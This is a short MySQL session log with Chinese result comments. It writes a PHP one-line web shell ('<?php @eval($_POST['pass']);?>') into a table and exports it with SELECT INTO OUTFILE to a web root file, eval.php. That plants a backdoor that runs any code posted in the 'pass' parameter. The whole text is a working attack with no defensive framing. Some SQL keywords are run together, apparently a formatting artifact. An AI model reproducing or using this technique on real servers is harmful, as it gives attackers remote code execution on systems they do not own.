USEtest;# MySQL 返回的查询结果为空(即零行)。

DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。
CREATETABLEtemp(

cmd
TEXT
NOT
NULL
)
;
# MySQL 返回的查询结果为空(即零行)。

INSERT
INTO
temp
(
cmd
)

VALUES
(
'<?php @eval($_POST['pass']);?>'
)
;
# 影响列数： 1

SELECT
cmd

FROM
temp

INTO
OUTFILE
'/home/htdocs/eval.php'
;
# 影响列数： 1

DROP
TABLE
IF
EXISTS
temp
;
# MySQL 返回的查询结果为空(即零行)。